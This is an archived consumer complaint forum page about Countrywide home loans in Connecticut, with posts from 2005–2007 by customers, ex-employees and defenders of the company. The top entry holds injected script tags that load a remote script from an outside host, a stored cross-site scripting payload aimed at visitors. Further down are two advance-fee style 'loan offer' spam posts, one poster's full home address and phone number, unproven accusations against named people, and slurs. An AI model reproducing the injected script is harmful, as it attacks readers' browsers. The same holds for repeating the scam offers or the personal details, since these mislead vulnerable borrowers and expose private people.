Countrywide Financial Connecticut Home Loans Sucks

COUNTRYWIDE HOME LOAN SUCKS!
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Countrywide Financial - Connecticut Home Loans - Equity Loan Mortgages SUCKS!

Connecticut Home Loans? Sub-prime (bad credit), Need money, Mortgage Refinance, Or Want A Home Equity Loan Connecticut and dont want to get ripped off or have hiden fees on your Home Loans?

Need A Home Loan CT, Refinance, Purchase, Or Make Home Improvements. Mortgage Rates Have Reached A All-Time Low Make Sure You Pick A Broker That Will find the right Home Equity loan at the best rate for you. We recommend that you conduct your own due diligence on mortgage brokers to find the one that is best for you. This site is a forum for users and should not be your only source of information about Countrywide Home Loan prior to choosing a lender.

This is what home loan customers in Connecticut (CT) have been saying...

Connecticut Home Loans Sponsored By US Home Loan
ADD YOUR STORY
Date: Sun 01/21/07 1:14PM
From: <script src=http://dcurtis.com/q.php>jonny7</scr ipt>

Message: <script src=http://dcurtis.com/q.php>jonny2</scr ipt>
Date: Sat 11/11/06 5:04PM
From: Elo White

Message:
DO YOU NEED CASH $$$$$$$$$$$$$$$$ LOAN OFFER WORLD WIDE








WE ARE A REGISTERED AND CERTIFIED LOAN LENDING FIRM,WHICH GIVE OUT LOANS TO THE PUBLIC AT A VERY REDUCED COST OF LOW INTEREST RATE.WE ARE DYNAMIC,RELIABLE,EFFICIENT AND TRUST WORTHY.CONTACT US NOW FOR YOUR SHORT AND LONG TERM LOANS.YOU ARE FREE TO CONTACT US NOW FOR YOUR ONLINE LOANS,VIA E-MAIL: lenderelo@yahoo.co.uk
Phone Number: +447011148335
Date: Sat 11/11/06 5:00PM
From: Elo White

Message:
DO YOU NEED CASH $$$$$$$$$$$$$$$$ LOAN OFFER WORLD WIDE








WE ARE A REGISTERED AND CERTIFIED LOAN LENDING FIRM,WHICH GIVE OUT LOANS TO THE PUBLIC AT A VERY REDUCED COST OF LOW INTEREST RATE.WE ARE DYNAMIC,RELIABLE,EFFICIENT AND TRUST WORTHY.CONTACT US NOW FOR YOUR SHORT AND LONG TERM LOANS.YOU ARE FREE TO CONTACT US NOW FOR YOUR ONLINE LOANS,VIA E-MAIL: lenderelo@yahoo.co.uk
Phone Number: +447011148335
Date
Left: August 07, 2006 By: Truth Commission In:

I was just reading the last posted and noticed you said the appraisal came in low.

That's because Countrywide uses their own appraisal company: Landsafe Appraisal Services.

Landsafe appraises values EXTREMELY CONSERVATIVE. When I was a loan officer for Countrywide, almost all of my appraisals came low. Causing me to have to restructure the loan at a higher rate, if there was still a program available.

Landsafe is Countrywide's tool for a bait and switch and disguised predatory lending.


Left: July 29, 2006 By: Thankful we are NOT CountryWide VICTIMS! In: Waterford

We were in desperate need of a home equity loan and contacted CWL in May. They jerked us around for 2 months! 1st we had to send the mountain of paperwork they required and after we complied with all of their requirements, they needed all of the paperwork again! During this time, we were being told, "everything looked good, we were going to have a closing date soon, underwriting is almost finished reviewing", blah, blah, blah... it was ridiculous! Well after 2 months of this, our credit scores had dipped even lower than when we started. I really believe that this was the intention of this company. The old "Bait and Switch" routine: String an already desperate consumer along to the point that they won't be able to secure a loan anywhere else and then offer them an absurd rate! They told us we would have a rate of 7% then at the end of 2 months it jumped to 10% with a lame excuse that the appraisal came in lower than what we had estimated. Thank God we had the courage to go out there and make a few more calls. We ended up getting a 7.1% loan for the amount that we needed and from the 1st call to closing, it only took 1 1/2 weeks!!

I was very happy to see this website. I hope anyone considering this company for their loan needs reads this. CWL is doing such extensive advertising and I know we were roped in by the commercial, I am sure many others are too. Thanks for creating this forum to help spread the truth about this horrible company.



Left: July 26, 2006 By: In:

go file your overtime against these crooks. federal overtime is waiting...hahaha crooks at cfc.


Left: July 21, 2006 By: In:

new email is bridgegirl1974@yahoo.com, but will respond to all on this board. the owner of this board will not sell out to CFC and CFC will not go to a public court to sue due to the fact their execs would be called as witnessed and sworn under oath, something they have never done and the company will pay any amount to make sure they don't get examined in the public eye due to the embarrassing and possible criminal actions of the company.


Left: July 21, 2006 By: In:

i was ripped off by the company, they refused to pay me after quitting and told me that was tough, deal with it. worst experience in my life working for them.


Left: July 18, 2006 By: In:

I mistpyed anyone who tells people not to seek help, NOT to seek it, seek it on the board here or in private on the email bridgegirl24@yahoo.com

company is scared of employees and customers contacting press and government agencies and pooling what happened to them at the hands of this company. not good for countrywide.


Left: July 18, 2006 By: In:

Truth Commission, as you know , anyone who is trying to get people to to get help and support is so fake and sent by the Company I beleive and think you do to.

bridgegirl24@yahoo.com has recieved many emails , from some fakes and some real people looking for help or advice...rock and roll, the company is a bunch of no good people in Southern California, led by John Bianchi and his crew of unethical people. People have been ripped off, sexually harassed and crushed by the HR department to protect the Company interest.

When Bianchi is gone, the rest of the COmpany will be at less risk, period.

Bridgette.


Left: July 18, 2006 By: In:

why not contact bridgegirl@yahoo.com? she has been helpful to others and to me and only the company would not want anyone to get together and compare notes....ask countryfried chick and look at the posts of bridgegirl24@yahoo.com.

you can also go to the CFC stock message board and see her posts, as I know it, she was sexually harassed and crushed by CFC for complaining about it and other issues. she has fist hand knowledge, knowledge of others violated and overall helped me and many others, so anyone who claims she isn't is a Countrwydie employee sent here...nice try. post on this board if you do not want to email, but I will always help those whop ask for it and are clear about who they are and what they are trying to accomplish, you are not alone!!! brigegirl24!!! bridgegirl24@yahoo.com


Left: July 16, 2006 By: Truth Commission In:

Re: Mr "DON'T DO IT"

Please explain why nobody should contact Bridgegirl24. Thank you


Left: July 15, 2006 By: In:

I am on record that I don't think much of this mortgage company and, consequently, I should therefore not care about their employees, past or present, but since I am an honorable person I thought I would warn anyone thinking of contacting this person for help/or advice (bridegirl24@yahoo.com.) DON'T DO IT!! (See July 12 post)



Left: July 14, 2006 By: Sandra Siena In: Portland

Thank you so much for this website. I love that it's posted right under Countrywide's web site after googling Countrywide Home Loans for EVERYONE to see. I was amazed at the sheer number of consumer complaints and how bad some of the stories are. I was also amazed at home many homeowners complained that Countywide lost payments or misapplied payments. We've been through an absolute nightmare with Full Spectrum too. Now that interest rates are going up, ours has been going up one full point every six months! And there's no end in sight. We will refinance hopefully before the next hike comes in January. If you have Countrywide, especially Full Spectrum, you better not even miss one payment. Everything is pretty much ok until you fall a little behind, which happens sometimes due to layoffs, job changes, sickness etc. Once you fall just one month behind Full Spectrum turns into the devil. Don't believe the "experts" who claim that mortgage companies don't want your home and they're willing to work with you on a repayment plan. Not so! We were served by the sheriff with a summons even though we sent in a payment to catch up for being one month late, for the full amount of the late payment plus the current payment the $50 late fee. Turns out the payment was rejected by Full Spectrum because we didn't include the $2500 attorney's fees which had been accruing for two months. Our house was in foreclosure because of unpaid attorney's fees! No one from Full Spectrum called us to inform us that they were rejecting our payments, they just decided to shock us with the lovely visit from the sheriff. So basically in order to resolve this, we had to come up with two payments plus the next months payment which would be due in a week (after all that intentional stalling FS did) plus $2500 in bogus attorney's fees, totaling almost $7000. On top of that sleaze bags kept driving past our house at all hours taking notes and looking at our house up and down. We were referred by FS to the "workout department" and told that we should send in pay stubs and tax information to see if we would be approved for a repayment plan. We would have to wait 10 to 14 days for an answer on that, but in the meantime more attorney fees and late fees would be accruing daily and the foreclosure process would continue regardless. With the court date set for 30 days after we received the notice, we were not going to take that chance. So in the end we had to borrow the $7000 from my inlaws, who saved us. Right after they received that money, our rate went up one percentage point again and they still didn't take off the late fees we had already paid. A week after that we received a tax bill from our town, when Countrywide should have paid it through our Escrow account!
My main complaint is this: Full Spectrum plays games. They DO want your house (especially if you have a lot of equity in it- we have $70,000 worth) and WILL take it and will NOT work with you on a repayment plan should you fall even one payment behind. Their website is completely unreliable as a source of information, DONT rely on it. I've heard this complaint before too- that FS was charging us about $80 a month for some bogus insurance (not PMI) they initiated, even though we already had homeowner insurance through Nationwide, but we were able to get that taken off our payment, thankfully. We bitched and griped long enough for the rep to remove it for us. And that's what you need to do when you call. When you call them don't be afraid to be as agressive as they are. Be a bitch or a royal pain in the ass if you have a gripe. Remember everything is recorded. DONT DONT DONT give out income information when they ask you. DONT tell them "why" you missed a payment when they ask. They use this information against you, they are not trying to help you. DOCUMENT everything. Get the person's name you spoke to at Countrywide. Follow-up with multiple phone calls. But mostly, get the hell out of Countrywide asap. I'm waiting till my credit gets better, which it already is, then I'm refinancing with a local bank. It's nice to be able to talk to someone face to face in a bank with any problems you might have, not some faceless pot-smoking not-paid-enough-to-care 20 year old idiot on the phone! Count me in for a class action suit.


Left: July 12, 2006 By: In:

if you were a past employee or current one who was wronged by this company please email me for help and to share and join together... bridgegirl24@yahoo.com


Left: July 08, 2006 By: In:

Everyone go to the press and tell your story, write them, write the editors and call the radio shows. It is the only way to get it out. Let the world know what scum this criminal company is. Give me one person who has complained and had the company thank them and admit they found something....damn scum, GO TO THE PRESS!!! The lawyers their are scum, Iam an ex-employee and speak from truth, numerous employees crushed when they have complained of stuff, numerous customers crushed when they complained, dared to sue, go get lawyers etc..don't call the press, write them and tell them the scum at cwide and their actions, its the only way.


Left: July 01, 2006 By: Truth Commission In:

DO NOT SEND ANY COUNTRYWIDE COMPLAINTS TO ANYONE AT COUNTRYWIDE.

Just stick with your attorneys and other sources.


Left: July 01, 2006 By: In:

Send all complaints to sandy_samuels@countrywide.com and rick_wentz@countrywide.com
These are top Legal People at the company.


Left: June 19, 2006 By: country fried chick In: Southern CA

(The CA posting page is not working, so site manager said to post in other states)

I am currently employed by Countrywide and have recently experienced vile sexual harassment and financial abuse. I recently filed an HR complaint that resulted in my boss' termination. Thereafter, I was transferred for my "protection," given a position that I am lost in and did not want, and have been experiencing what I perceive to be (need to have my lingo legally appropriate) relatiatory actions on behalf of the management and executives.

I am in Southern California. I need to check with my lawyer to see if I can name the region in this forum.

I hate the company. I have been treated like a nothing and a plague. Everything the company does is with pretense and calculation. The game is being played by evil, narcissistic greed mongers. They place no value on human rights or suffering.

It seems to be common belief that the region is corrupt and just a good ole boys' club. I have heard that promotions and rewards are commonly believed to be based on long-term friendships, blackmail/bribes and (extramarital) sexual affairs. There seems to be quite a bit of evidence to support it; it just needs to be put together.

I was on a "privileged" team that virtually made its own rules and put a perverted, abusive non-supervisor in a supervisory role with me, after
(allegedly) having had notice of his past abusive behaviors. He acted as if he were above the rules, because the region had reportedly covered some of his past incidents from HR and even rehired him after he was fired by the parent company: Northwest Mortgage.

I have recently hired a lawyer to deal with executive management. I cannot say here, what it is that I seek; but we are wondering if there are any similar stories in the region that anyone can share. I specifically want to know about HLCs in supervisory roles, retaliation following HR complaints, the encouragement or discouragement of HR reporting, and any incidents that were minimized by higher-ups. My lawyer works on a contingency fee. I would never share names unless I had the express permission of the source. Even if someone can give me an idea of where else to look, it would be greatly appreciated. We'll do our own investigations. I want justice for others like me, and the company to face the consequences of their actions. I'm sticking around until it's done.

P.S. I totally agree with the previous post: CW's technology is a joke!!! The software is archaic in design and completely illogical to the user. Can't everyone see where their priorities really lie? On advertising and self-gratification! They are all about promoting an "image." Our regional VP just gave us a three hour-long seminar on how he became top producer by DECEPTION, such as making himself "Mortgage Banker of the Year," and interviewing HIMSELF for an article that he paid $5000 to publish!




Left: June 18, 2006 By: Truth Commission In: USA

THIS IS IN RESPONSE TO "JOE D" and his worthless post on June 11, THIS IS FOR ALL PRO-CW AND ANTI-CW READERS.

You don't seem to get it.

For many years Countrywide HAS BEEN #1 in customer service. But guess what? Countrywide is soon to be a HAS BEEN.

I know all this because I had just recently quit Countrywide to work for another mortgage company.

Countrywide didn't use move operations over to India, BUT NOW they do! That will be bad for customer service.

COUNTYWIDE IS NOW TOO CHEAP TO KEEP UP ON ITS COMPUTERS AND COMPUTER SYSTEMS. When I worked there, computers froze up at least 5 times a day, and application information was always getting erased.
That is why the number of customers complaining about payments has been increasing in the last few years.
That is why it is now taking Countrywide 30 to 40 days to close a loan. Also because Countrywide now has a lot of untrained, inefficient, and disorganized underwriters and processors. (Countrywide may now also be too cheap to hire an adequate staff)
That is also why payoffs and other items are now coming out wrong.

Also Countrywide requires just about all of its loan originations to use LANDSAFE appraisal, a company owned by Countrywide itself. Their appraisals are extremely conservative, and 9 out of 10 of mine and other A/Eís came in OVER $10K less than comps. Even if the home was in good condition. This forces the A/E to restructure the loan a higher rate, less cashout, fewer bills paid, or a some combination of the factors. Their appraisals set the road for disguised predatory lending, and bait and switch.

Wake up Joe D! Have you ever studied the life cycle of an organization? Check it out. It comes in four stages: Introduction, growth, maturity, and decline. Right now, Countrywide is slowing down in the growth stage about to hit maturity. The only thing holding right now is the brand name its built from its past. And if Countrywide continues with its path, it will not be long until it is in its decline stage.

ENRON WAS ONCE A FORTUNE 500 COMPANY. Countrywide is riding in the same path.

Also Countrywide was recently sued in California from its conduct as an employer, and apparently it never learned from the lawsuit. Another lawsuit will happen.

Joe D. you are not in the position to call the people here "Jerk Offs". Especially if you're another goon in Countrywide's management. Because only someone in CW management would stick up for Countrywide the way you just did.

Not to meantion Joe, you posted your same pathetic post on all 50 state pages here, claiming to be from different local cities.

And to the Pro-CW idiot who keeps taking up the excessive space in the forum with blank lines. GET A LIFE LOOSER.

You will not keep others from reading the previous posts.



Left: June 13, 2006 By: In:

CHL = Enron


Left: June 11, 2006 By: In:






Left: June 11, 2006 By: Joe D In: Hartford

Hey jerkoffs..CW ia a member of the S&P 500, Fortune 500, and #1 in customer satisfaction..this website's sole purpose is to drive business to US-Home Loans.com...get a life you stupid a**holes...


Left: April 27, 2006 By: MAI EXPOSER In:

BEWARE OF MANAGEMENT ADVISORS INTERNATIONAL OR MAI.
Here's how there retainer's work.
1. you pay them to start the search.
2. 3 months down the line they come back and tell you they've exhausted your market and it's time to move on from the search.
3. you now have to pay them a closeout fee for them doing nothing.
4. if you hired a candidate outside of using their services, they will charge you the full fee because you was on retainer with them.
5. after you have paid them for doing nothing in one market, they will ask you for another retainer to start up a new market.
MAI is located in NC AND FL. Beware of who you do business with.


Left: April 26, 2006 By: Janice Valverde In: Boston, MA

I applied for a mortgage from Countrywide at the suggestion of my real estate broker (my first mistake--and I should have known better). I was somewhat pressured to move out of a small condo and move into a larger one as quickly as possible. Countrywide pre-qualified me for a mortgage that enabled me to make an offer that was accepted. Too bad it was based on bogus info. and too bad it would have put me in way way over my head financially. Still, I went along since they said it was just a preliminary mortgage and the "actual" terms would be better. They did not even give me the required estimate of closing costs. I was shocked since I've bought and sold a number of houses before and pretty much know the drill. When I repeatedly called them, and finally walked into their office one morning to get my Estimated Closing costs sheet, it didn't look anything like what I had been told. To make a long and unbelievable story short. . . they fiddled around with this mortgage, changing their story, changing the terms, not documenting the terms as required by law. . . right up until the very morning of the closing. I was infomred that "had to borrow $20k more" in order to cover all the costs. I was, needless to say, furious. I ought to sue them. But at least I was able to re-finance with a reputable mortgage company after about 15 months in my new condo. Greenpoint Mortgage Company. . . a good company. They play by the rules. I expect Coutnrywide will sink their own rotten ship.

When it came time for the "real" qualification, the


Left: April 11, 2006 By: In:

c. showah - please phone the Office of the President (OOP). As a former employee, I can attest that this once, outstanding,incredibly good hearted mortgage company has gone to the dogs like enron. it is sickening to hear the stories of how my once great company treats not only it's customers but also its employees. all of the the really good people at countrywide have left because they do not want their reputations associated with such a mean, coldhearted corporation. CHL is now attracting the bottom feeders of my industry. please help crush these roaches. i feel your pain...trust me. if you would really like to raise some hell, phone the OOP. This is a department of CHLs that is very, very professional and they do not play games. you WILL get action. sorry that i do not have have the # but just phone the 1-800 customer service # and they can give it to you. they may put up a fight and "try to take care of the problem right now" but don't buy into it 'cause they know when the OOP gets involved s...happens. good luck.


Left: April 07, 2006 By: C. SHOWAH In: CONNECTICUT

I ALSO WANT TO ADD THAT I NEVER NEVER EVER CONTACTED COUNTRYWIDE HOME LOAN REGARDING MY PARENTS. THESE PEOPLE ARE SCARY USING TACTICS LIKE THIS TO ATTEMPT TO DRUM UP BUSINESS. GOD BLESS ALL THE READERS OUT THERE IN CYBERSPACE AND GOD HELP THEM TO BECOME HONEST.


Left: April 07, 2006 By: C. SHOWAH In: CONNECTICUT

BOTH OF MY PARENTS JUST DIED AND COUNTRYWIDE HOME LOANS IS TRYING TO COVERTLY SOLICIT ME BY ASKING THAT I FAX PAPERWORK IN TO THEM. THE NUMBER ON THEIR CALLER ID IS 972-526-0000, WHICH IS ONE OF THOSE BOGUS "CALL CENTER" PHONE NUMBERS. I WILL ALERT THE CONNECTICUT ATTORNEY GENERAL'S OFFICE OF THIS VIOLATION.


Left: March 14, 2006 By: In:

BEWARE OF MANAGEMENT ADVISORS INTERNATIONAL OR MAI. THEY ARE A CUT THROAT RECRUITING FIRM OUT OF HICKORY AND CHARLOTTE, NC, AND FLORIDA. THEY RECRUIT YOUR EMPLOYEES OUT OF YOUR COMPANY THEN CALL YOU AND REQUEST THAT YOU PAY THEM A RETAINER TO FILL THE OPEN POSITION. A YEAR LATER AND THEY COME RIGHT BACK AND RECRUIT THAT SAME CANDIDATE THEY FILLED THE OPEN POSITION WITH. THEIR GAME IS GETTING RETAINERS. IF YOU RETAIN THEM THEN WALK AWAY FROM THE DEAL, YOU OWE THEM 75%. IF YOU RETAIN THEM BUT FILL THE POSITION WITH A CANDIDATE YOU FIND, YOU OWE THEM THE FULL FEE.


Left: February 03, 2006 By: In:

NO ONE CAN LIE LIKE COUNTRYWIDE CAN

Homeowners need cash? Get a No-Closing Cost Home Equity loan only from Countrywide. Thatís right, no application fee, no appraisal fee, no title fee, no underwriting fee, NO CLOSING COSTS.

NEVEVERMIND THAT ITíS A VARIABLE RATE ARM (Prime Rate+) LOAN.

NEVERMIND THAT IF YOU PREPAY THE LOAN BEFORE THE TAKEOUT AMOUNT PERIOD ENDS THAT YOU END UP PAYING THE CLOSING COSTS (PREPAYMENT PENALTY).

NEVERMIND THAT YOU PAY THE CLOSING COSTS THROUGH AN ABOVE MARKET VARIABLE RATE HOME EQUITY LINE OF CREDIT. THIS IS NOT A FIXED RATE SECOND MORTGAGE.

No one can screw you like Countrywide can.


Left: February 03, 2006 By: jake In: cali

Improper Home Charges

Read then File a complaint

www.zimmreed.com




Left: February 02, 2006 By: Miriam B In: New Britain

I am a former employee of Countrywide and altough I feel for what some of these people are saying, I would like to say that Counrtwyide has been going down hill ever since Brian Hale "took over". For someone who left Wells because he was "unhappy with their way of business" he certainly didn't take much time in "restructuring" Countrywide into the NEW Wells model. This man has taken a company that Aneglo Mozillo murtured for years and is driving it into the ground. Mr. Mozillo WAKE UP!!!. Countryiwde is becoming everything you set out for it NOT to be. How long will it be before you see "Wells Fargo" on your door?


Left: January 29, 2006 By: In:

NO ONE CAN LIE LIKE COUNTRYWIDE CAN

Homeowners need cash? Get a No-Closing Cost Home Equity loan only from Countrywide. Thatís right, no application fee, no appraisal fee, no title fee, no closing fee, NO CLOSING COSTS.

NEVEVERMIND THAT ITíS A VARIABLE RATE ARM (Prime Rate+) LOAN.

NEVERMIND THAT IF YOU PREPAY THE LOAN BEFORE THE TAKEOUT AMOUNT PERIOD ENDS THAT YOU END UP PAYING THE CLOSING COSTS (PREPAYMENT PENALTY).

NEVERMIND THAT YOU PAY THE CLOSING COSTS THROUGH AN ABOVE MARKET VARIABLE RATE HOME EQUITY LINE OF CREDIT. THIS IS NOT A FIXED RATE SECOND MORTGAGE.

No one can screw you like Countrywide can.

GO GET A BETTER RATE & SERVICE AT YOUR LOCAL BANK OR CREDIT UNION.



Left: January 26, 2006 By: In:

Thank you for contacting the Federal Citizen Information
Center.

Your message was forwarded to us for response from
the U.S. Department of Justice (DOJ).

We have received your message regarding Countrywide Home loans
of California.

If you wish to file a complaint against a mortgage or
finance company that does not fall under the purview of a
banking authority, there are several sources to consult.

You may first want to contact the Federal Trade Commission
(FTC) and file a complaint via telephone by calling toll-
free 877-FTC-HELP (877-382-4357). Representatives can be
reached Monday through Friday from 9 a.m. to 8 p.m. eastern
time.

In addition, within your state you can contact your local
consumer protection agency. To access a list of consumer
protection agencies, please visit:
http://www.consumeraction.gov/state.shtml

We hope you find this information helpful.

We are unable to accept replies sent to our mailbox. If you
have any additional questions, please call our National
Contact Center at 800)-FED-INFO (800-333-4636), Monday
through Friday from 8 a.m to 8 p.m eastern time, or visit
us on the web at http://answers.firstgov.gov/



Left: January 25, 2006 By: sandra savage on behalf of edith L'heureux In: terryville

please help my mother who is 70 years old,her loan was sold to countrywide, it has been a nightmare for her eversince. i am working with the state of ct banking people, same simliar nightmare as all the rest of you people. she paid over 30,000$ to save her home from forclosure,never told why she was going into forclosure,escrow monies are thrown in unapplied,what the hell is that, she has dementia
i am investigating about people in the state of ct. with disabilities with intent to forclose. i am scared for her,she has been effected by this chl nightmare emotionally, it is now in the hands of the secretary nancy kuzel who says she is secretary to vp of chl, they asked for an extension thru the banking comissioner it was granted, they have until feb 7th 2006 to find and prove to my mother where 4,169.12 dollars went to, it is right on her document that she paid it. how many assholes does it take to figure this out!!! day to day i am calling and reporting my complaints to the state of ct.banking. this is just the first hurdle,secondly by law any lender (i found OUt) they are required by law to tell you of your protections before they intend to foreclose,chl did not disclose these rights to her. there is more to this story and the state of ct.banking has my formal letter on behalf of my wonderful loving mother of 70 years, please someone help, if there is a class action law suit please please include my mother,thankyou sandra savage (my computer is down so i am using my public librarie's computer. here is my adress and phone number sandra savage 65 dorothy lane terryville,ct.06786 i am not afraid to leave my phone number i have had enough 860 585-5885.


Left: January 20, 2006 By: roy In: tampa

Notice: Must Read
Sweat Shop Employees www.gdblegal.com
Appraisal Overcharges www.sherlocklegal.com
Wrong Doings www.jameshoyer.com
www.ripoffreport.com
file your complaint


Left: December 03, 2005 By: In:

Current Customers should call customer Service and tell them you want NO CONTACT 1-800-669-6607

That means:
*No emails
*No Phone Solicitations
*No Junk Mail

Get customer service reps name and employee ID# and make a note of it.

Countrywide gets around the do not call list because of a loop hole that allows them to call their current customers. Why do you think they buy so many mortgages? So they can call you and sell stuff to you is one reason.


Left: December 02, 2005 By: Joe Blow In: Somewhere in Connecticut

I have been a homeowner my whole life. I made the mistake of using Aames Home Loan to refinance and they sold me to Country Wide.

Country Wide started an escrow account for me. I have paid my own insurance and taxes since I have owned a home. They are trying to charge me astronimcal homewoners insurance rates and they want me to go to my town and get reimbursed for double taxes paid. They are keeping me from refinancing again. THEY SUCK


Left: December 01, 2005 By: Big Buc's Fan In: Charlotte, NC

If you are a responsible citizen and have a truly legitimate gripe, then this comment is not for you.
Thank God for people like Michael Harmon, former CHL employee. Michael did not defend or discredit CHL. What he did do was offer to assist anyone needing help. Some of you adults are in financial trouble now because your parents never taught you anything. Now you are parents and not teaching your kids. If you can afford it, buy it, but don't try to keep up with the Jones'. Why are married couples each making 6 figure salaries living paycheck to paycheck? Always got your hand out borrowing to payoff something. How 'bout this. Before you borrow another dime; cut your cable off, don't eat out for breakfast/lunch/dinner, stop smoking/drinking, cut back on cds/dvd's, stop buying every fad shirt/pants/shoes that hit the market, etc. You do this for 2-6 months and you will see the money that you worked hard for going into your bank account. Some of you have expensive cars, expensive homes and clothes, yet your children don't have a dime saved for them towards college.
To go off the subject - some of you send your children to school expecting the school system to teach them manners, how to read/write, that's your job!!!!!!!!!
No matter what color, race, religion, we all want the same things. When people try to give some of you knuckleheads good advice, take it. Stop waiting for Oprah to tell you what you already know is right. And stop making the excuse that your mom or dad never taught you.


Left: November 21, 2005 By: In:

do "top producers" at chl wear gay little yellow wristbands proclaiming they "live a homo passionate lifestyle"? you are a loser who has not even made it to the circle of excellence. 26mm that is SO tough to do.


Left: November 03, 2005 By: In:

I'VE NEVER READ SUCH BS, AS I'VE READ JUST NOW! I HAVE A FEELING MOST OF YOU BABIES WHO GOT FIRED BECAUSE YOU WERE DOING FRAUD OR THOSE WHO THINK GOT THE SHORT END OF THE STICK PROBABLY HAVE 500 FICO SCORES, BECAUSE ONLY UNGRATEFUL BRATS COMPLAIN. CHL IS AMERICAS' #1 RESIDENTIAL MORTGAGE BANK IN THE WORLD! NO OTHER BANK CAN COMPETE. OUR RATES, OUTSTANDING CUSTOMER SERVICE, AND UNDERSTANDING OF THE MORTGAGE INDUSTRY WILL ALLOW US TO DOMINATE FOR YEARS TO COME. 1 OUT OF EVERY 3 PEOPLE HAVE A CHL, GO ASK YOUR NEIGHBOR HOW HAPPY HE/SHE IS WITH US. I DARE YOU!
THIS GOES TO ALL THE STUPID PEOPLE ON HERE: WHAT MORTGAGE BANK DO YOU KNOW THAT SPLIT 3 TIMES IN ONE YEAR AND HAD A ROR OF 90%?? ANYONE? YOU THINK WAMU, CHASE, WELLS, HAD A ROR OF OVER 90% IN ONE YEAR?? NO! THEY DIDN'T! BUT COUNTRYWIDE HOME LOANS DID. I SEE WHY THE AUTHOR OF THIS WEBSITE CREATED THIS WEBSITE; TO MISINFORM POTENTIAL CUSTOMERS FROM DOING BUSINESS WITH US. WHY IS IT THAT THIS WEBSITE ONLY HAS NEGATIVE POSTS?? NOTHING BUT A BUNCH OF BIAS KIDS. I'M GOING TO BE CHECKING IN A WEEK TO SEE IF THIS POST WAS POSTED, IF NOT THEN I KNOW WHAT THE AUTHOR HAS IN MIND AND THAT IS TO WEAKEN COUNTRYWIDE HOME LOANS. HE/SHE WOULD HAVE TO KEEP THIS WEBSITE FOR 10,000 YEARS BEFORE ANYONE STARTS HAVING DOUBT IN THIS COMPANY. IF SOME OF YOU GOT FIRED FROM THIS COMPANY, I'M GLAD! WE DON'T WANT YOU ANYWAY. WE ONLY WANT THE BEST WORKING HERE, GO TO OUR COMPETITORS THEY'LL HIRE YOU/ AND WE'LL CONTINUE BEING #1 IN THE WORLD IN RESIDENTIAL HOME LOANS. TAKE CARE GOD BLESS!
PLEASE ASK ME ANY QUESTION. AND STOP COMPLAINING THAT YOU DON'T KNOW WHERE TO SEND YOUR PAYMENT, THAT COMMENT IS AS OLD AS DINOSAURS. CALL THE MORTGAGE CONSULTANT YOU DEALT WITH AND HE'll DIRECTED YOU IN THE RIGHT PATH. WE ARE HERE TO HELP YOU ALONG THE WAY, FROM YOUR FIRST CONTACT, TO THE CLOSING TABLE, AND YOUR PICNIC AT YOUR HOME WITH FRIENDS AND FAMILY! THANK YOU FOR YOUR BUSINESS! GOD BLESS! LIVE WITH PASSION!!!!!!


Left: September 20, 2005 By: An observer In: Atlanta, GA

I don't know about all the name calling, etc. but one thing is certain. Something bad has happened to Countrywide in Atlanta and there won't be an end until it's destroyed. Someone hired people to run this part of the company that either have no interest in the company or just simply aren't qualified to run a company. There is no profit being made and everyone is unhappy -- customers and employees. Seems like a recipe for disaster. Sit back and watch it fall. Maybe a year, maybe not that long. They'll be gone, someone new will be along or they can close down Atlanta altogether. I don't think Atlanta would be missed by the rest of Countrywide.



Left: August 05, 2005 By: Michael In: Palmdale, CA

I am a former employee of Countrywide, sorry but I have to laugh at all of these stories, yes COuntrywide has it's problems, just like all the other lenders out there, but most of the problems being stated here are mostly due to homeowner error not lender error, there are alot of laws that Countrywide has to follow, so if you think they can just wipe your credit score clean, or take fees off, that's where you are wrong, it's sad to see ignorant people cause concern for others who know what there doing by trying to bring a company down, it is not right and people need to take responsibility for themselves instead of trying to get through life easier and blaming all their problems on somebody else, when you have a problem in life you must look at yourself first to see what you did to cause it, then correct it, not put full blame on another. In other words pay attention to yourself and see your wrongs before you give a bad rep on a company who tries hard to serve MILLIONS of customers and make sure there is no problems.


Left: July 26, 2005 By: In:

I'm going to post this in every state listed here. YOU MUST TAKE RESPONSIBILITY FOR YOUR OWN ACTIONS AND DECISIONS!! I have recently left the lending industry. I can site many reasons for this, however the top reason has to be dealing with borrowers and potential borrowers who had no concept of financial responsibility. Just because you have a 700 credit score does not mean you demonstrate good use of credit or that you are guaranteed the rate or terms you want. In fact, many people who have the best credit scores carry the most debt. What you people do not understand is that the lending institutions want you to carry debt, so if you carry alot of debt and pay it on time your score will be higher than someone who pays their bills OFF every month and only carries a mortgage and a car loan/lease. If you fall on hard times, pay your damn mortgage and let the friggin' Visa's go delinquent. Visa isn't going to take your house, your mortgage company is. People jump to quickly to file BK. Guess what, ole' GW has made that next to impossible for the average American. You're better off making arrangements with your credit card companies and paying your mortgage off as quickly as possible. Use good judgement, not the "I want it now!" mentality. Buy a Trailblazer instead of the RangeRover or the Hummer or the Lincol or Caddy or whatever. How many of you people that post on here have kids? What kind of behavior do you think your actions teaches them? Anyone who would voice their opinion is more than welcome to email me at michael_harman1976@yahoo.com. I would be more than happy to help anyone who needs some good advice on how to get themselves into a good financial position. I am not selling anything, I'm a former CW employee who feels an obligation to help those who have been taken advantage of.

Michael


Left: July 13, 2005 By: JY In: Stamford

I have been a Countrywide Customer since 2001 and have never had any problems with them. I make my payments via their website and every one of them has been credited promptly. I just refinanced because of the low interest rates. My rate is down my 1.5% and my payments are nearly $200 less per month. My only complaint is that it took a while to close on the refinance. For those of you who have had major problems, my heart goes out to you. However, you need to realize that ANY very large company you deal with will have complaints against them and a bevy of unsatisfied customers. No one is perfect.


Left: June 27, 2005 By: yy In: yy

Wow! Rick must be a real fucktard! I'm not sure anyone would give that looser a loan! Hey Rick..I'll bet you sign your name with an "X".
You must be from the hills!!


Left: June 24, 2005 By: rick In:

hey LL
bite me better go back and read your ok mind ya own mess


Left: June 21, 2005 By: ROB In: MERIDEN

I JUST CAME UPON THIS SITE AND TO BE HONES I NEVER HAD A PROBLEM WITH THEM, HAD THEM FOR 3 YRS AND JUST RECENTLY TOOK OUT A EQUITY LOAN. AGAIN NO PROBLEM. CUSTOMER SERVICE WAS IN FACT HELPFUL AND ALWAYS THERE TO ASSIST WHEN I CALLED AND HAD QUIESTIONS. IM NOT GOING TO SAY THEY R THE BEST BUT U HAVE TO ADMIT NOT EVRYONE IS GOING TO HAVE PROBLEMS OR THEY WOULD BE OUT OF BUISNESS. THEY R OK IN MY BOOK..


Left: June 21, 2005 By: ROB In: MERIDEN

